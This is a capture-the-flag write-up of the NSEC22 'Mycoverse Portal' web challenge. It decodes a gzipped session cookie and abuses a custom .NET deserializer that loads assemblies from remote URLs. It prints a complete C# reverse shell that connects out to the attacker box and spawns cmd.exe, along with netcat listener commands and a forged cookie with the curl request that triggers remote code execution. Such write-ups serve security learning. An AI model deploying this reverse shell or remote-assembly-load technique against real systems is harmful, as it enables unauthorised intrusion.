NSEC22 Mycoverse 1 - Fri, May 27, 2022 - Jean Privat Hellnia Klammydia Marcan
Mycoverse Portal. Part I: whoami? | Web | Nsec22
My mom always said web challenges were like a box of chocolates. You never know what you’re gonna get.
So we have an almost empty webpage /Welcome to the Mycoverse Portal/ with a /Privacy/ link that goes to /Mycoverse and Ouyaya respect your privacy./ and a /Home/ link that goes back to the first page.
The Home link is weird ?page=%2FIndex
, so there is maybe some kind of path traversal or data exfiltration. But fuzzing some nicely handcrafted urls didn’t reveal anything useful to us.
An error page is available at /error
showing us that the website is in debug mode and that it’s in ASP.NET Core.
Lets dig more. The HTML pages refer to /js/main.js
that give some more URLs.
let u = "guest";
function getSessionInfo() {
var oReq = new XMLHttpRequest();
oReq.onload = (e) => {
r = JSON.parse(oReq.responseText);
u = r["Username"];
console.log("whoami: " + u);
};
oReq.open("GET", "/whoami");
oReq.send();
}
function getApiKeys() {
let api = new WebSocket(`ws://${window.location.host}/ws`);
api.onmessage = (e) =>
{
console.log(e);
api.close();
}
api.onopen = (e) => {
api.send('{"Type": 1, "Username": "guest", "ApiKey": "null"}\n');
}
}
getSessionInfo();
So there is an API point /whoami
, that simply answers guest
, and web socket that returns an HTTP error code 400. :(
There’s an awful lot you can tell about a website by their headers
GET /whoami HTTP/1.1
Host: mycoportal.ctf
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: */*
Referer: http://mycoportal.ctf/?page=%2FIndex
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: S=H4sIAIc2iWIA%2F2TMMQ6CMBhA4bN4AClQgdaNaHBQJuMBWvpjSAptKGjYXR3E0RguwA0cvIsXkCMYdTKuX%2FLe83ZPMwlThBDTGu2Ba1VWTKK4SdQOSgPWTOW5Kiwh5egPYyVAWmswJlPF0B0PGwNlwXIYurbf1mCqobucQp0tofmhOfB6%2B7ieIyYNfMEkZaarz6fto1W4GAvKuENTN8A4cG0fe4zYzMUEHEyICCY88ISfUvruXwIMAOfBu67JAAAA
Connection: close
So we have a fancy base64 cookie named S
, that unfortunately contains some binary data.
What’s normal, anyways?
Lets replace it with some garbage to see what happens.
HTTP/1.1 500 Internal Server Error
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 21 May 2022 19:13:58 GMT
Content-Type: text/plain; charset=utf-8
Connection: close
Content-Length: 1084
System.IndexOutOfRangeException: Index was outside the bounds of the array.
at Mycoverse.Common.Data.KaenSerializer.Deserialize[T](Stream src) in /src/Mycoverse.Common/Data/KaenSerializer.cs:line 50
at Mycoverse.Common.Model.Session.Restore(String cookie) in /src/Mycoverse.Common/Model/Session.cs:line 23
at Mycoverse.Web.Middleware.SessionMiddleware.InvokeAsync(HttpContext ctx, RequestDelegate req)
at Microsoft.AspNetCore.Builder.UseMiddlewareExtensions.<>c__DisplayClass6_1.<<UseMiddlewareInterface>b__1>d.MoveNext()
--- End of stack trace from previous location ---
at Microsoft.AspNetCore.Diagnostics.DeveloperExceptionPageMiddleware.Invoke(HttpContext context)
HEADERS
=======
Accept: */*
Connection: keep-alive
Host: mycoportal.ctf
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: S=a
Referer: http://mycoportal.ctf/?page=%2FIndex
X-Forwarded-For: localhost, 2602:fc62:ef:2062:1::1008
X-Forwarded-Proto: http
As expected, the system does not like our forced garbage but unexpectedly is nice enough to complain loudly about it with a stack trace. What can we learn from that?
- The website is indeed a .net contraption.
- We are in a method called
Session.Restore
that uses a methodKaenSerializer.Deserialize
. - Both those classes and methods seem custom made for the website.
So lets continue the fuzzing.
ICSharpCode.SharpZipLib.GZip.GZipException: Error GZIP header, first magic byte doesn't match
at ICSharpCode.SharpZipLib.GZip.GZipInputStream.ReadHeader()
at ICSharpCode.SharpZipLib.GZip.GZipInputStream.Read(Byte[] buffer, Int32 offset, Int32 count)
at ICSharpCode.SharpZipLib.Core.StreamUtils.Copy(Stream source, Stream destination, Byte[] buffer)
at ICSharpCode.SharpZipLib.GZip.GZip.Decompress(Stream inStream, Stream outStream, Boolean isStreamOwner)
at Mycoverse.Common.Data.Compression.Decompress(String input) in /src/Mycoverse.Common/Data/Compression.cs:line 34
at Mycoverse.Common.Model.Session.Restore(String cookie) in /src/Mycoverse.Common/Model/Session.cs:line 23
at Mycoverse.Web.Middleware.SessionMiddleware.InvokeAsync(HttpContext ctx, RequestDelegate req)
at Microsoft.AspNetCore.Builder.UseMiddlewareExtensions.<>c__DisplayClass6_1.<<UseMiddlewareInterface>b__1>d.MoveNext()
--- End of stack trace from previous location ---
at Microsoft.AspNetCore.Diagnostics.DeveloperExceptionPageMiddleware.Invoke(HttpContext context)
Ohh, a new piece of information, there is some gzip compression involved. Can the binary of the cookie be a simple gzip stream?
$ cat S | sed 's/%2F/\//g;s/%2B/+/g' | base64 -d | file -
/dev/stdin: gzip compressed data, last modified: Sat May 21 18:59:19 2022
It was! So what does it say?
cat S | sed 's/%2F/\//g;s/%2B/+/g' | base64 -d | gunzip
file:///app/webportal/Mycoverse.Common.dll!Mycoverse.Common.Model.Session🍄Username💬guest🛑ApiKey💬guest🛑Debug❓False🛑Description💬FLAG-d9ab19f2733720635a80a238e1388d74b75d6f99🛑
So it looks like a custom serialization format with mushrooms. How cute. And a first flag.
What? How can you do this? This is outrageous! It’s unfair! (oops, wrong movie)
But a 0 points first flag.
My name’s Forrest Guest. People call me Forrest Guest
So lets forge our own session. What follows the 🍄 must be data fields, they are terminated by 🛑. 💬 means text and ❓ means boolean. Combine what you want. gzip the forged string, base64 encode it, and send it as the cookie S.
I want to become admin. Whoami? Guest! I want to activate some sweet debug mushroom. Whoami? Guest! Let’s try various things. Whoami? Guest! More fiddling. Whoami? Guest! More fuzzing. Whoami? Guest! We spend hours (4:36 exactly) to try and hack the deserializer. Whoami? Guest! Whoami? Guest! Guest…
I’m not the smart man. But I know what RCE is
Errr… what was it before the mushroom 🍄 already?
file:///app/webportal/Mycoverse.Common.dll
looks like the location of a dll and Mycoverse.Common.Model.Session
, a fully qualified class name.
Can we forge that? But we know nothing about the files of the server, or the code of the application, nor that much about the C# language as a matter of fact.
If you do not like my family and shell.ctf, I do not want to hear anything about it
We do not know most things about the mycoportal server, but we know a lot of things about ourselves.
Let’s connect to shell.ctf, the provided box we control, fire up a webserver, serve an empty file Foo.dll
and use the following cookie: http://shell.ctf:3000/Foo.dll!bbb🍄bar💬baz🛑
Our web server got a hit! (hint: do not use port 80 for your servers or your teammates might not give you privacy and will fumble your experiments)
More importantly, the mycoportal gave us some verbose but useful stack trace.
System.BadImageFormatException: Bad IL format.
at System.Reflection.Assembly.Load(Byte[] rawAssembly, Byte[] rawSymbolStore)
at System.Reflection.Assembly.Load(Byte[] rawAssembly)
at Mycoverse.Common.Data.KaenSerializer.LoadFromRemote(Uri uri) in /src/Mycoverse.Common/Data/KaenSerializer.cs:line 108
at Mycoverse.Common.Data.KaenSerializer.Deserialize[T](Stream src) in /src/Mycoverse.Common/Data/KaenSerializer.cs:line 50
at Mycoverse.Common.Model.Session.Restore(String cookie) in /src/Mycoverse.Common/Model/Session.cs:line 23
at Mycoverse.Web.Middleware.SessionMiddleware.InvokeAsync(HttpContext ctx, RequestDelegate req)
at Microsoft.AspNetCore.Builder.UseMiddlewareExtensions.<>c__DisplayClass6_1.<<UseMiddlewareInterface>b__1>d.MoveNext()
--- End of stack trace from previous location ---
at Microsoft.AspNetCore.Diagnostics.DeveloperExceptionPageMiddleware.Invoke(HttpContext context)
Me and C# goes together like peas and war
Alright, let us write a “little” C# reverse shell, compile the assembly and host it over at shell.ctf
. A quick google search and we stumbled upon a snippet that looked like what we needed. Set it to connect back on shell.ctf 3001
.
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient("shell.ctf", 3000))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
Beautiful and concise.
mcs -target:library shell.cs
scp shell.dll root@shell.ctf:mycoverse
ssh root@shell.ctf nc -6 -lvp 3001
Then we need to trigger le Remote File Inclusion, load the assembly and call the Program
class. Lets craft a cookie with this content.
$ echo -en 'http://shell.ctf:3001/foo.dll!ConnectBack.Program🍄' | gzip | base64 -w00
H4sIAAAAAAAAA8soKSmw0tcvzkjNydFLLkmzMjYwMNRPy8/XS8nJUXTOz8tLTS5xSkzO1gsoyk8vSsz9ML+3BQCLVO2ZNQAAAA==
$ curl http://mycoportal.ctf/ -bS=H4sIAAAAAAAAA8soKSmw0tcvzkjNydFLLkmzMjYwMNRPy8%2fXS8nJUXTOz8tLTS5xSkzO1gsoyk8vSsz9ML%2b3BQCLVO2ZNQAAAA%3d%3d
Which instantiated the Program
class on the server which connects a shell from mycoportal.ctf
to our listener on shell.ctf
port 3001. The first flag was in a text file just outside the webroot.
The second flag is in part 2